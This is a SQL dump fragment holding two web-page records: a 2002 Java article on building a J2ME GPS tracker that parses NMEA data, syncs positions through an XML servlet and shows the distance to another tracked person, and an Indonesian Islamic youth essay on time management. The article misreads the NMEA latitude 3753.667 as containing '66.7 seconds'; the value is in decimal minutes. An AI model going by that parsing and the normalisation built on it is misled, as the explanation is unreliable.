indoors, so place the PC near a window where the receiver has clear access to the open sky. The receiver will need to get signals from at least three satellites to determine its position.\r\n\r\nFor those who don’t wish to go through the trouble and expense of dealing with a GPS receiver, the source code for this article includes a Java class file (HttpReader) that functions as a GPS data stream. (Listings 1–3 and the source code for this article can be downloaded from the JDJ Web site, www.sys-con.com/java/sourcec.cfm.) This class instance reads an HTML page that contains actual GPS data and returns its input stream. While this method is easier than using a GPS receiver, watching a plot of the author driving to his local grocery store is not nearly as much fun.\r\n\r\nHTTP Connection\r\nSince MIDP requires the implementation of a subset of HTTP 1.1, this protocol should work for all implementations of J2ME. Therefore the application uses HTTP to communicate with the server.\r\n\r\nThe server may reside on the local machine or on a LAN. For the server to be accessible over the Web, you need a wired or wireless Internet connection. However, a wireless connection provides the most usability for testing in a real production environment. This may be set up in a number of ways. A mobile phone with Internet access can hook up through a connector to a port on the laptop. Obtaining a wireless modem or doing a direct dial-up to a server hosting the server-side GPS application are other options.\r\n\r\nSoftware Requirements\r\nThe GPS application requires the J2ME Wireless Toolkit from Sun and JDK 1.3 or higher. You also need the kXML package from Enhydra to handle XML on the MIDP device, as well as the xspsoft class files that are included in the download.\r\n\r\nFor the server-side applications, this article uses JBoss/Tomcat J2EE, which can be freely downloaded from www.jboss.org. Of course, you can also use any commercial J2EE implementation. You also need JAXB and JDK 1.4 from Sun.\r\n\r\nThe server application allows the user to transmit the GPS coordinates and to retrieve other people’s coordinates. If the you don’t wish to bother with EJBs and don’t care about tracking multiple targets, the server-side application can be eliminated without affecting the core GPS functionality on the MIDP device or emulator. (The application could also be rewritten using JSP and JDBC.)\r\n\r\nNMEA Format\r\nIn the 1980s the National Marine Electronics Association (NMEA) developed the NMEA 0183 Interface Standard for data exchange between marine electronic devices. Today, most global positioning systems use the NMEA interface for data exchange. Thus the J2ME GPS data parser will work on any GPS receiver that implements this standard. Figure 1 contains a sample of a data stream:\r\n\r\nNMEA Sentences\r\n$GPRMC,214434,A,3753.666,N,12203.162,\r\n W,0.0,0.0,270901,15.4,E,A*33\r\n$GPGGA,214616,3753.667,N,12203.167,W,\r\n 1,04,5.6,121.1,M,-27.4,M,,*7\r\n$GPGSA,A,3,01,03,20,22,,,,,,,,,7.\r\n 4,5.6,1.5*36\r\n$GPGSV,3,1,10,01,69,062,47,03,12,106,\r\n 37,04,12,279,00,08,12,250,00*77\r\n$GPGLL,3753.667,N,12203.167,W,\r\n 214616,A,A*54\r\n$GPBOD,,T,,M,,*47\r\n\r\nFigure 1: GPS data stream\r\n\r\nThe $GPGGA sentence contains the target’s topological location information. The relevant fields are as follows:\r\n\r\nField\r\n1 Message Header ($GPGGA)\r\n3 - 4 Latitude, North/South\r\n5 - 6 Longitude, East/West\r\n10 Altitude in meters\r\n\r\nThe latitude 3753.667 denotes 37 degrees, 53 minutes, and 66.7 seconds. There are a couple of problems with this format. First, the longitude and latitude numbers are not base 10 numbers, so it’s difficult for an application to determine relative distances. Second, the KVM does not support floating or double primitive types nor the respective wrappers, making any decimal value an incorrect numerical format.\r\n\r\nThe answer is to use fixed-point integer calculations to handle decimal values. For example, the value of 100.234 is 100234, with a fixed point of three. The GpsParserImpl class instance normalizes the longitude and latitude coordinates by using the following code:\r\n\r\nint nc = (10000 * k[0]) + (10000 * k[1])/60 +\r\n(1000 * k[2])/3600;\r\n\r\nwhere k[0] denotes the degrees (37), k[1] the minutes (53), and k[2] the seconds (667). The normalized integer value for this latitude is 379019.\r\n\r\nTo find the speed and direction of the target, we extract information from $GPRMC (fields 8 and 9, respectively). If the altitude field is blank, it means the GPS receiver isn’t able to pick up the signal from a fourth satellite, which is necessary for 3D tracking.\r\n\r\nIn this scenario the target is not moving, so the speed and direction fields contain 0.0. The J2ME application developer may use this information in interesting ways. For instance, you could display all targets moving over 60 m.p.h. in dark blue, or all targets moving north in green. This type of color-coding and dimensional reduction of information allows an enormous amount of location information to be displayed to the user of a limited mobile device. This will undoubtedly be an important area of future growth, research, and standardization for the mobile industry.\r\n\r\nAccessing GPS Data Through the Serial Port\r\nOpening the InputStream\r\nPlugging the GPS receiver into the laptop or mobile device starts a stream of GPS data flowing over the serial port. Reading the input stream from the serial port is no different than reading an input stream from a file or an HTTP connection. As mentioned previously, you can use either HttpReader, which functions as a GPS data stream, or SerialReader to open a connection to an actual GPS receiver. Here’s the only difference in the code:\r\n\r\n• SerialReader:\r\n\r\nString URI = \"comm:1;baudrate=4800;bitsper char=8\";\r\nInputConnection inputCon = (InputConnection) Connector.open(URI);\r\nInputStream is = inputCon.openInputStream();\r\n\r\n• HttpReader:\r\n\r\nString URI = \"http://xspsoft:8080/GPS.html\";\r\nHttpConnection inputCon = (HttpConnection) Connector.open(URI);\r\nInputStream is = inputCon.openInputStream();\r\n\r\nNote that a SerialReader object opens a connection to the stream on communication port 1; however, your port number may be different. If you choose the wrong port, the KVM will throw an IOException stating that the system can’t find the specified file. If the port is occupied, the IOException states that the handle is invalid.\r\n\r\nEach GPS receiver sends data at a certain baud rate. Ensure that the baud rate in the String URI matches the baud rate of your GPS receiver. If any of the bytes in the input stream are above 128, the baud rate is incorrect. The input stream will come through as garbage. Also make sure there are no spaces between the semicolons or the program will throw an exception.\r\n\r\nParsing the InputStream\r\nThe abstract class GpsParser contains the base code to read the GPS data stream. A concrete, direct subclass instance instantiates either the SerialReader or HttpReader, depending on the user’s preference. GpsParser returns an NMEA sentence as a character array, one line at a time, through the use of the Template Method and an abstract method denoted as com-mand(char[] c).\r\n\r\nThe GpsParserImpl class contains an example of a concrete implementation of the command instance method, which is executed for each NMEA sentence flowing through the serial port. In the GpsParserImpl class, the match-\r\nCommand class method determines whether the current NMEA sentence is the GPGGA sentence. If it is, the command method scans and tokenizes the data into a vector.\r\n\r\nInvoking the GpsParserImpl constructor causes the GPS data stream to continually update the Coordinate class with the respective longitude and latitude information. Now any application can invoke the Coordinate accessor class methods – getLatitude, getLongitude, getAltitude, getSpeed, and getDirection – to get the most current position of the target.\r\n\r\nData Access Objects and the Transporting of Information\r\nIn this article various data sources, including a relational database, XML files, MIDP record stores, and GPS data streams, are coming over a serial port. Dealing with so many data sources can be overwhelming without a systematic design and structure of the application services. Using data access objects (DAOs) to access these data sources is a good design practice that will simplify the application. One example we’ve already discussed is the coordinate data access object (actually a class) that returns the most current location information of the target.\r\n\r\nThis application has three primary data access objects on the MIDP device that can marshal and unmarshal XML: SerialDataObject, EntityDataObject, and RecordDataObjectImpl. The SerialDataObject handles the unidirectional transfer of information from the serial port (through Coordinate DAO) to the server database. The EntityDataObject handles the unidirectional transfer from the database to class methods of CoordinateTarget on the MIDP device. The RecordDataObjectImpl handles the bidirectional transfer of information between the server database and the MIDP record store. While transferring data to the record store may be slow, it is, however, a vital component to building enterprise applications involving an MIDP device.\r\n\r\nThese data objects can be returned by invoking the getDataObject (String DAO) class method of the factory DataObjectFactory. IGps is a superinterface of all these classes, so these class instances are assured of having accessor instance methods for the GPS data. The SessionMinibean object will take care of the marshaling and unmarshaling as well as choosing the correct data access object. For example, to transfer GPS data from the serial port to the server database merely requires the following lines of code:\r\n\r\nSessionMinibean smb = new SessionMinibean(\"SERIAL\");\r\nsmb.marshal();\r\n\r\nThe database server will now contain the user’s longitude, latitude, altitude, speed, and direction. Another user, with the following lines of code, can retrieve this user’s latitude:\r\n\r\nSessionMinibean smb = new\r\nSessionMinibean(\"ENTITY\");\r\nsmb.unmarshal();\r\nint latitude =\r\nCoordinateTarget.\r\ngetLatitude();\r\n\r\nNote that the unmarshal method unmarshals the XML message and populates the class methods of Coord-\r\ninateTarget, so any application has access to the target’s location through CoordinateTarget. Class methods are extremely useful for J2ME applications because of the expense of packing, unpacking, and searching for information within the persistent record store.\r\n\r\nIf you’d like a local record store copy of the data from the database server, use the following lines of code:\r\n\r\nSessionMinibean smb = new\r\nSessionMinibean(\"RECORD\");\r\nsmb.unmarshal();\r\n\r\nYou could also invoke the marshal method and update a database on the server.\r\n\r\nIn short, we have the basis for wireless hot sync capability between the record store on the mobile device and the database server. Thus the user could set his or her GPS and target tracking preferences, upload the information to the database, and then hot sync from any other mobile device. Hot synchronization could also allow multiple people to synchronize their tracking of a single target or group of targets. Although the record store is not used in this article, the functionality exists within the GPS application download.\r\n\r\nA Brief Digression on the MIDP Record Store\r\nThe J2ME services on the mobile device access persistent data through the Record Management System (RMS) API. In this example, we avoid the overhead of RMS by accessing location-based information through the use of accessor class methods. However, record store access is critical to any enterprise production application. We’ll briefly cover some of the basics.\r\n\r\nIn the mainframe era space was at a premium, so the flat file was packed in binary and other formats. As a result, programmers built data-access components that packed and unpacked flat files. The same design principle applies to the somewhat more limited mobile devices that use byte records in a flat-file RMS.\r\n\r\nThe application needs packing and unpacking functionality to store the GPS byte information in a record store. The packBytes instance method in the RecordDataObjectImpl (see Listing 1) writes the values from the getter methods into a DataOutputStream and then converts the stream to a byte array. The setRecord instance method invokes the packBytes method and adds the bytes to the record store.\r\n\r\nOne issue with the MIDP record store is which record to pack and unpack. In container-managed persistence, the container automatically generates a findByPrimaryKey instance method for the EJB, which returns the object given by the primary key. The GPS application’s DAO on the mobile device includes a similar instance method denoted as setPrimaryKey. This is an important method because accessing the data by the record ID creates program-data dependence on the storage structure, resulting in a poor design of the record store.\r\n\r\nThe trick to locating records by the primary key, rather than key index, is to implement the data access object (RecordDataObjectImpl) as a RecordFilter. This allows the use of a RecordEnumeration on the current object to unpack the record bytes for the record that contains the primary key. By invoking the setPrimaryKey method, a RecordEnumeration returns those records (only one) that are true for the match method (see Listing 2). It then unpacks the correct record, giving access to the record information through the accessor methods. This process is invisible to the business object that instantiates RecordDataObjectImpl.\r\n\r\nIt’s a lot of work to look up and access data from a record store. However, notice that the use of the data access object is almost identical to the CMP entity bean in this GPS application. In a sense, the application uses a MiniEJB entity bean on the mobile device. For example, consider the code fragments in Listing 3. For both the MIDP and EJB code, we create a RecordDataObject and set the primary key to an integer that contains the value of 3. In both cases we invoke the accessor methods. The only difference is that in MIDP we must invoke setRecord, which is primarily needed for efficiency.\r\n\r\nNote that in both cases the business object doesn’t need to know the record ID on which it is operating. By using a similar design for the MIDP and EJB process, the code is considerably reduced in the business object layer.\r\n\r\n• MIDP\r\n\r\ncom.xspsoft.j2me.db.GpsDataObject gdo = new GpsDataObject();\r\ngdo.setPrimaryKey(new Integer(3));\r\ngdo.setId(new Integer(10));\r\ngdo.setName(\"Mr. X\");\r\ngdo.setRecord();\r\n\r\n• EJB\r\n\r\ncom.xspsoft.gps.bean.GpsDataObject gdo = new GpsDataObject();\r\ngdo.getEntityBeanByKey(new Integer(3));\r\ngdo.setId(new Integer(10));\r\ngdo.setName(\"Mr. X\");\r\n\r\nXML and Data Binding in J2ME\r\nIt’s worth looking into how the SessionMinibean marshals and unmarshals XML data for the transfer of tabular information. Note that the following method for dealing with XML will also be useful for the serialization of Java objects. The lack of MIDP support for RMI will make XML (and SOAP) a critical component for enterprise applications involving J2ME. Therefore, it’s a good idea for the J2ME developer to become proficient in using and manipulating XML.\r\n\r\nThe SessionMinibean class instance handles the transfer of GPS information between one of the data objects returned by DataObjectFactory and the RootXml and ClientXml objects, which are discussed later. First, we’ll demonstrate how the kXML package from Enhydra can read and write XML from the mobile device to a servlet. To write the <client myName=\"Mr. X\" myLatitude=\"320854\"/> tag to the SOAP servlet requires the following lines of code:\r\n\r\nString URI = \"http://xspsoft:\r\n8080/xspsoft/SOAP\";\r\nHttpConnection ic =\r\n(HttpConnection) Connector.open(URI);\r\nOutputStream os =\r\nic.openOutputStream();\r\nOutputStreamWriter\r\nwriter = new\r\nOutputStream-\r\nWriter(os);\r\norg.kxml.io.XmlWriter w =\r\nnew XmlWriter(\r\n(Writer) writer);\r\nw.startTag(\"client\");\r\nw.attribute(\"myName\",\r\n\"Mr. X\");\r\nw.attribute(\"myLatitude\",\r\n\"320854\");\r\nw.endTag();\r\nic.close();\r\n\r\nThe XmlWriter instance requires a Writer parameter, which can be obtained by wrapping the OutputStream with an OutputStreamWriter. Now, writing to the XmlWriter instance will write directly to the servlet.\r\n\r\nReading from the SOAP servlet is very similar. Consider the following code:\r\n\r\nInputStream is = ic.openInputStream();\r\nInputStreamReader reader = new InputStreamReader(is);\r\nXmlReader xr = new XmlReader(reader);\r\nString myName = xr.getValue(\"myName\");\r\nString myLatitude = xr.getValue(\"myLatitude\");\r\nic.close();\r\n\r\nTwo classes, ClientXml and RootXml, handle the primary work of marshaling and unmarshaling the data. ClientXml has accessor instance methods to set and get GPS information for the class instance. Consider the marshal method from the ClientXml class:\r\n\r\npublic void marshal(XmlWriter writer) throws Exception {\r\nXmlWriter w = writer;\r\nw.startTag(\"client\");\r\nw.attribute(\"id\", this.getId().toString());\r\nw.attribute(\"name\", this.name);\r\nw.attribute(\"latitude\", this.getLatitude().toString());\r\nw.attribute(\"longitude\", this.getLongitude().toString());\r\nw.attribute(\"altitude\", this.getAltitude().toString());\r\nw.attribute(\"speed\", this.getSpeed().toString());\r\nw.attribute(\"direction\", this.getDirection().toString());\r\nw.endTag();\r\n}\r\n\r\nTo write an XML document to the servlet, use the following code:\r\n\r\nClientXml cx = new ClientXml();\r\ncx.setName(\"Mr. X\");\r\ncx.setLatitude(new Integer(327890));\r\n<<more set methods>>\r\ncx.setDirection(new Integer(11));\r\ncx.marshal(anXmlWriter);\r\n\r\nThe output looks like:\r\n\r\n<client name=\"Mr. X\" latitude=\"327890\" ….direction=\"11\"/>\r\n\r\nThe application can marshal any data access object that implements the IGps interface, which is a two-step process. First, invoke the set methods of a ClientXml instance, passing the return values from the DAO get methods as parameters. Second, invoke the ClientXml marshaling method. The unmarshal instance method is similar and can be viewed in the downloaded code. The purpose of the RootXml class instance is to enumerate through a vector of ClientXml objects, invoking its marshal or unmarshal method. In this specific case the application automatically writes (or reads) a complete XML document that contains multiple rows of clients and their respective locations.\r\n\r\nThe general case is more interesting. We now have a powerful technique: any object with accessor methods can marshal and unmarshal XML data without ever directly parsing XML data.\r\n\r\nPlotting Target Location\r\nMainDriver is the core class that runs the MIDlet application. This section gives a brief overview of the process and shows how all the previous programs fit together. The application starts with the following lines of code:\r\n\r\npublic void startApp() throws MIDletStateChangeException {\r\nnew GpsParserImpl();\r\nGpsPlot gp = new GpsPlot();\r\ndisplay.setCurrent(gp);\r\n}\r\n\r\nInvoking the GpsParserImpl constructor begins a thread that starts updating the Coordinate class accessor methods from the GPS receiver. Next we begin another thread by instantiating the GpsPlot inner class. In its constructor, this GpsPlot object starts a TimerTask thread called MiniServlet:\r\n\r\npublic class MiniServlet extends TimerTask {\r\npublic MiniServlet() {\r\nTimer t = new Timer();\r\nt.scheduleAtFixedRate(this, 1000, 10000);\r\n}\r\npublic void run() {\r\nSessionMinibean serial = new SessionMinibean(\"SERIAL\");\r\nserial.marshal();\r\nSessionMinibean entity = new SessionMinibean(\"ENTITY\");\r\nentity.unmarshal();\r\n}\r\n\r\nMiniServlet schedules its run method to invoke every 10,000 milliseconds. The run method marshals XML data from the Coordinate class to the servlet by invoking serial.marshal(). The servlet then updates the database on the server through the use of JAXB and container-managed persistence.\r\n\r\nThe run method from MiniServlet then invokes entity.marshal(). This unmarshals XML data from the server database (through the same servlet), updating the CoordinateTarget class accessor methods. In short, we’ve passed our coordinates to the server database and retrieved the target’s coordinates. The target is going through the same process, passing its information to the server and retrieving our GPS information.\r\n\r\nThe GpsPlot object run method stays alive indefinitely with the following code:\r\n\r\nwhile (true) {\r\ntry { Thread.sleep\r\n(100);\r\nrepaint();\r\n}\r\ncatch\r\n(Exception e){}\r\n}\r\n\r\nThe repaint method invokes the drawMan method, given below:\r\n1. private void drawMan(Graphics g) {\r\n2. int lt = Coordinate.getLatitude() - CENTER_Y + CENTER_SCREEN;\r\n3. int ln = Coordinate.getLongitude() - CENTER_X + CENTER_SCREEN;\r\n4. int speed = Coordinate.getSpeed();\r\n6. g.fillRect(ln - 2, lt - 4, 4, 4);\r\n7. g.fillRect(ln - 3, lt - 8, 6, 4);\r\n8. g.fillRect(ln - 2, lt - 9, 4, 1);\r\n9. g.fillRect(ln - 1, lt - 10, 2, 1);\r\n10. g.fillRect(ln - 2, lt - 11, 4, 1);\r\n11. g.fillRect(ln - 1, lt - 12, 2, 1);\r\n12. g.fillRect(ln, lt, 2, 2);\r\n14. int deltaLat=Coordinate.getLatitude()- CoordinateTarget.getLatitude();\r\n15. int deltaLong=Coordinate.getLongitude()- CordinateTarget.getLongitude();\r\n16. int distance=com.xspsoft.j2me.util.Math.dist(deltaLat,deltaLong);\r\n18. g.drawString(new String(\"Speed:\"+speed),5,76,Graphics.TOP|Graphics.LEFT);\r\n19. g.drawString(new String(\"Target Dist: \" + distance), 5, 86, 16|4);\r\n20. }\r\n\r\nBefore the plot is started, the program finds the first latitude and assigns the value to CENTER_Y and the value of the first longitude to CENTER_X. The center of the screen is coordinate pair (50, 50), although this will change depending on the device. On line 2, we calculate the latitude position by invoking the getLatitude method to find the current latitude. Next we subtract the initial latitude. This gives us the latitude movement, centered at zero. We add 50 to center the plot to the middle of the screen. A similar calculation is used for longitude. The fillRect methods plot the pixels that represent a man-shaped figure. As we move, the figure will move from the center coordinate.\r\n\r\nWe’d also like to display our current speed (lines 4 and 18) and the distance to another target (lines 14–16, 19). Since distance measurements involve square roots, a function not directly supported by the KVM, the download contains a Math class file that handles the distance calculations.\r\n\r\nConclusion\r\nJ2ME, J2EE, and XML are helping to end the age of mundane location-based services in the commercial area. The primary advantage is that these technologies open up the location-based services to a larger, more talented pool of developers. Gone are the days when we used our GPS system to ask, “Where is the BurgerBoy exit?” Instead, parents will be tracking their child online or you’ll be locating that elusive friend. As a consequence, your elusive friend will be putting a security perimeter around himself to detect other targets so he can remain elusive.\r\n\r\nThis article demonstrates a simple application using everyday technologies that allows a user to determine his or her distance from a moving object. Its potential is limitless.\r\n\r\nPublished Mar. 1, 2002 — Reads 42,507\r\nCopyright © 2007 SYS-CON Media. All Rights Reserved.',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (61,'2007-11-03 15:57:33','Berpacu Melawan Waktu','Berpacu Melawan Waktu\r\nBuletin GAUL Islam by Hasna Hawwa on the November 1st, 2007 Edisi 002/tahun I (5 Nopember 2007)\r\n\r\nNgomongin soal waktu sebenarnya udah sering banget dibahas ya? Sebab, setiap dari diri kita masing-masing pasti udah punya sistem management sendiri dalam mengatur kebiasaan hidup kita. Jadi sebenarnya kalo mau disamakan modelnya agak susah. Tapi yang terpenting dalam mengatur waktu adalah pastikan sesuai dengan tujuan dan tak ada waktu yang disia-siakan begitu saja. Sebab, waktu ini akan terus berjalan. Sang waktu nggak perlu minta ijin sama kita yang lagi bengong, main gaple, main gim, ngobrol nggak jelas, dan aktivitas miskin manfaat lainnya atau malah yang maksiat.\r\n\r\nWaktu bakalan terus berlari meninggalkan kita yang aktif maupun yang nggak pernah bergerak sedikit pun. Sering tak terasa, waktu seminggu sangat cepat, itu kita tahu setelah kita melewatinya. Bagi kita yang melewatinya dengan banyak amal baik insya Allah menjadi tabungan pahala kita kelak. Tapi bagi kita yang melewati hari demi hari dalam seminggu itu hanya dengan bengong dan bertopang dagu saja, rasa-rasanya sangat rugi, apalagi kalo melakukan maksiat, ruginya berlipat-lipat.\r\n\r\nAllah berfirman dalam al-Quran:\r\n\r\n“Demi masa. Sesungguhnya manusia itu benar-benar berada dalam kerugian, kecuali orang-orang yang beriman dan mengerjakan amal shaleh dan nasihat-menasihati supaya mentaati kebenaran dan nasihat-menasihati supaya menetapi kesabaran.” (QS al-‘Ashr [103]: 1-3)\r\n\r\nWaktu tak akan kembali\r\n\r\nMasih ingat nggak lagunya Raihan yang terinspirasi dari hadis Rasulullah saw. tentang waktu? Yup, gini nih penggalan syairnya: “Gunakan kesempatan yang masih diberi moga kita tak akan menyesal/Masa usia kita jangan disiakan, kerana ia tak ‘kan kembali/Ingat lima perkara sebelum lima perkara/sehat sebelum sakit/muda sebelum tua/kaya sebelum miskin/lapang sebelum sempit/hidup sebelum mati.”\r\n\r\nYup, benar banget. Waktu punya karakter nggak bisa dikembalikan. Terus aja berlalu nggak peduli sama kita. Apa pernah kepikiran kita ingin meng-UNDO seperti pada program komputer? Waktu nggak bisa dikembalikan seperti ketika kita main internet dengan cara mengklik tombol BACK agar bisa mengulangi mengeksekusi sebuah situs web misalnya. Nggak. Waktu itu boleh dibilang hanya sekali jadi. Itu sebabnya, tugas kitalah yang kudu pandai memilih dan memilah dalam memanfaatkan waktu.\r\n\r\nMemang waktu adalah semacam ukuran yang kita sepakati bersama. 1 detik, 1 menit, 1 jam, 1 hari, 1 minggu, 1 bulan, 1 tahun, 1 windu, 1 dasawarsa, 1 abad, dan seterusnya. Itu adalah ukuran-ukuran untuk memudahkan kita mengerjakan segala urusan kita. Adanya batasan waktu adalah agar kita mau mengaturnya dengan baik. Percuma banget kan kalo kita udah dikasih jadwal, udah sepakat dengan waktu yang dibuat, ternyata kita melanggar sendiri kesepakatan tersebut dengan tidak mentaatinya sesuai urutan waktu dan target.\r\n\r\nKalo bicara untung-rugi, tentu bagi kita yang nggak bisa memenuhi semua aturan itu akan rugi karena bisa jadi malah nggak melakukan apa-apa selama waktu yang sudah ditentukan kecuali melakukan kesia-siaan saja yang memang bukan sesuatu yang seharusnya dilakukan.\r\n\r\nNah, pada saat inilah kita udah kehilangan banyak waktu. Tentu saja waktu tak akan pernah balik lagi ngasih kesempatan buat kita untuk melakukan yang telah kita tinggalkan tersebut. Yang bisa dilakukan kita paling banter adalah memperbaiki pada kesempatan berikutnya. Tapi tetap tidak mengubah kondisi balik ke belakang. Karena yang terjadi adalah kita memperbaiki pada waktu yang lain dan selama itu pula kita udah kehilangan banyak kesempatan. Aduh, nggak banget deh!\r\n\r\nNggak percaya? Bayangannya gini nih. Bagi kita yang nggak naik kelas tahun ini karena malas belajar, maka itu kondisi saat ini yang nggak bisa berubah. Tetep nggak naik kelas. Status kita tetap tinggal di kelas sementara teman yang lain udah di kelas berikutnya. Padahal itu terjadi dalam satu waktu, yakni pada kesempatan yang sama. Ya, sekarang ini. Kita insya Allah bisa naik kelas tapi itu terjadi nanti pada tahun depan. Beda kan? Jadi jangan main-main dengan waktu ya. Waktu nggak bakalan kembali lagi. Sekali jadi. So, jangan sampe kita merugikan diri kita sendiri gara-gara nggak bisa memanfaatkan waktu. Sumpah!\r\n\r\nGuys, seringkali kita merasa bahwa waktu begitu cepat berlalu. Kayaknya singkat banget. Apa karena kita saking asyiknya menikmati hidup? Hmm.. bisa jadi itu emang faktor perasaan kita. Karena terlalu nikmat hidup di dunia. Tapi ingat juga lho, bahwa ada juga di antara teman kita yang sangat boleh jadi waktu berjalan sangat lambat. Misalnya, bagi orang yang berada di penjara, yang aktivitasnya nggak banyak dan muter di situ terus, waktu terasa berjalan lambat kayak keong.\r\n\r\nWaktu yang berjalan terasa cepat selain menunjukkan betapa nikmatnya hidup di dunia, juga menunjukkan bahwa kita semangat menjalani hidup. Banyak kegiatan kita lakukan, banyak janji kita buat, banyak prestasi yang terus kita raih, sehingga tak ada waktu untuk melamun ngeliatin jam berputar. Karena justru kita seolah sedang berlari melangkahi hari-hari berpacu dengan putaran jarum jam atau hentakan detik penanda waktu digital. Barangkali ini yang membuat kita merasakan waktu berlalu begitu cepat.\r\n\r\nHikmahnya, jangan sia-siakan waktu yang terus berjalan cepat ini dengan kegiatan yang miskin manfaat, atau malah bertabur maksiat. Kita nggak bisa balik lagi ke waktu tersebut. Yang bisa adalah memperbaiki dan itu butuh waktu lagi. Sementara mereka yang taat mengatur waktu dengan baik, akan menuai hasil yang bagus pada waktu yang sama dengan yang kita gunakan untuk kegiatan percuma.\r\n\r\nOya, karakter waktu yang cukup unik lainnya adalah bahwa waktu geraknya berbanding lurus. Semakin banyak waktu yang disediakan untuk hidup kita, maka sebanyak itu pula waktu yang diberikan. Itu sebabnya, setiap orang yang berbeda usia nggak bisa balapan soal umur. Jatahnya udah jelas dan dikasih sama. Tapi tetap sesuai start saat memulai hidup di dunia. Nah, karena nggak bisa balapan soal umur, pernah ada anekdot ketika seorang pemuda yang hendak menikahi seorang gadis pujaannya yang berusia lebih muda 3 tahun darinya. Tapi ayah si gadis nggak setuju lalu memberi alasan: “Boleh kamu menikah dengan anak saya, tapi nanti saat umur kamu dan anak saya sama”. Gubrak!\r\n\r\nSobat, waktu terus berjalan seiring dengan bertambahnya usia kita. Itu sebabnya, kita nggak bisa minta ijin, misalnya mo cuti dulu dari bertambahnya usia ketika kita lagi tidur atau ngobrol dan main gim. Usia kita dari detik ke detik terus bertambah. Meskipun kita lagi nggak beraktivitas. Itu sebabnya, jangan mentang-mentang masih muda terus kita merasa masih banyak waktu untuk nanti. Sehingga merasa waktu tersebut harus kita habiskan untuk aktivitas yang kita sukai dan senangi saat ini namun dalam pandangan Islam miskin manfaat. Itu artinya kita menghamburkan kesempatan yang diberikan hanya untuk hal-hal yang remeh-temeh, gitu. Nggak banget deh. Sebab, seharusnya yang kita upayakan dalam setiap detik itu harus bernilai ibadah di hadapan Allah Swt. Setuju kan?\r\n\r\nMemanfaatkan waktu\r\n\r\nWaktu itu sebenarnya nggak bisa dijinakkan. Kalo kuda liar kita latih jadi baik insya Allah bisa. Tapi soal waktu, kita berbuat baik atau nggak, tetap aja jalan. Nggak peduli sama kita dan lurus-lurus saja. Nah, mungkin yang diperlukan itu adalah bagaimana kita memanfaatkan waktu dengan efektif.\r\n\r\nBagaimana caranya? Pertama, biasakan kita membuat agenda harian. Diurut prioritasnya dari yang sangat penting, kemudian penting, dan biasa. Misalnya sekolah/kuliah tentu menjadi prioritas utama, kemudian ke warnet, barangkali dianggap penting karena misalnya mencari bahan untuk tukul alias tugas kuliah, kemudian yang terkategori biasa misalnya pergi main ke rumah teman. Nah, utamakan yang sangat penting terlebih dahulu baru kemudian yang terakhir yang terkategori biasa.\r\n\r\nKedua, kita harus komitmen dengan apa yang udah kita buatkan jadwalnya. Karena kebiasaan banyak dari kita adalah menulis semua agenda, tapi nggak dikerjakan. Akhirnya malah keleleran. Ketiga, buat target. Ini penting. Apalagi jika yang akan dilakukan adalah “proyek besar” untuk masa depan kita. Jadi harus dibuat batasan waktunya, sehingga rencana yang sudah dibuat itu akan direalisasikan sesuai urutan waktu dan ukuran tahapan tingkat pencapaiannya. Jangan lupa, pastikan selalu ada evaluasi, agar dari waktu ke waktu lebih baik lagi.\r\n\r\nGimana kalo kita lagi malas ngapa-ngapain, apa malas bisa dikategorkan sebagai pembunuh kesempatan? Hmm… rasa malas itu saya pikir manusiawi kali ya. Soalnya semua orang kayaknya pasti pernah merasakan malas. Itu sebabnya, Rasulullah saw. juga mengajarkan doa agar kita meminta kepada Allah Swt. untuk dihilangkan dari penyakit malas. Maka, kalo pun rasa malas itu mendera kita, pastikan kita bisa mengendalikan diri.\r\n\r\nCaranya? Jangan terlena dan jangan mengampuni diri sendiri bahwa rasa malasnya itu adalah manusiawi. Nggak gitu. Tapi cari akibatnya, mungkin malas karena capek, maka kita bisa atur waktu dan kegiatan lainnya supaya nggak kecapekan. Ketika malas ngapa-ngapain dan akhirnya malah main gim dengan tujuan untuk refreshing silakan saja. Tapi jangan keterusan. Ingat waktu terus berjalan meninggalkan kita. Kalo udah hilang penat dan stresnya segera berhenti main gim. Setelah itu, ya kembali kepada pekerjaan yang harus diselesaikan.\r\n\r\nOya, sekadar berbagi aja, kebiasaan saya dalam mengatur dan memanfaatkan waktu sejujurnya memang masih banyak kekurangannya. Tapi setidaknya saya berusaha menekan diri sendiri untuk terus komitmen pada setiap kegiatan yang waktunya sudah dialokasikan. Jadi saya biasanya membuat jadwal yang saya tulis di buku agenda, di ponsel saya, di organizer program komputer, atau di kertas styrofoam yang ditempel di dinding. Agenda harian, mingguan atau bulanan. Baik yang rutin maupun yang tertentu pas ada momen spesial aja. Untuk kegiatan menulis buku, saya biasanya pake target, sehingga ada alat ukur tingkat pencapaiannya. Itu aja sih yang biasa saya lakukan. Mungkin bisa menjadi inspirasi teman-teman yang sempat baca artikel ini.\r\n\r\nSobat, di dunia ini kita berpacu dengan waktu, maka tingkatkan kualitas perbuatan kita, syukur-syukur bisa lebih banyak kita lakukan. Tentu perbuatan yang benar dan baik sesuai tuntunan Allah dan RasulNya. Untuk apa? Ya, untuk masa depan kita di dunia dan di akhirat. Insya Allah. Sebab, jangan sampe umur kita habis, tapi kita banyak maksiatnya. Kematian itu nggak bisa kita ketahui kapan datangnya. Jadi, harap diingat, Malaikat Izrail nggak bakal kirim “pesan kematian” kepada kita melalui SMS dengan bunyi: “Maaf, masa aktif hidup Anda akan segera habis. Sudah terlalu banyak dosa Anda di buku catatan akhirat. Sehingga saldo iman berkurang. Segera isi ulang iman Anda sebelum nyawa Anda diblokir.” Hehehe.. kalo dikasih tahu gitu sih enak dong.\r\n\r\nYuk, mumpung masih diberikan waktu, kita manfaatkan untuk beramal baik. Kita sama-sama berusaha menjadi yang terbaik di hadapan Allah Swt. Keep istiqamah dan tetap semangat! \r\n<b>[solihin: www.osolihin.wordpress.com]\r\n</b>',1,1,5);
